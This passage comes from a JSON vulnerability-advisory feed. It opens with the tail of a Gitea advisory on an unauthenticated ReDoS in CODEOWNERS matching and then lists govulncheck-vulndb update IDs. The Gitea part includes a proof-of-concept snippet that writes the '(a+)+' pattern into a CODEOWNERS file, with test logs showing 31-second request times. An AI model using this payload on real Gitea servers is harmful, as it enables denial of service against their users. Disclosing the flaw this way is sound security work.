setting/applications.go:36(setting.ApplicationsPost)\n    testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow      POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)\n    testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)\n    pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s\n+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)\n--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)\nPASS\n```\n\nYou can modify the \"11\" number in the CODEOWNERS file to manage execution speed directly: \n```go\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n```\n\nA higher number of lines will increase the execution time.","status":"published","published":"2026-07-21T20:34:33Z","modified":"2026-07-27T17:11:20.64254801Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:46:56.981655Z"},{"id":"GO-2026-6077","title":"Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service in code.gitea.io/gitea","description":"Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service in code.gitea.io/gitea","status":"published","published":"2026-07-27T15:32:45Z","modified":"2026-07-27T17:00:26.007606957Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21551-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:38:07Z","modified":"2026-08-12T18:23:41.809969353Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:23216-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:09.233788558Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23227-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:10.174179412Z","updated_at":"2026-11-02T15:54:03.503431Z"}]}}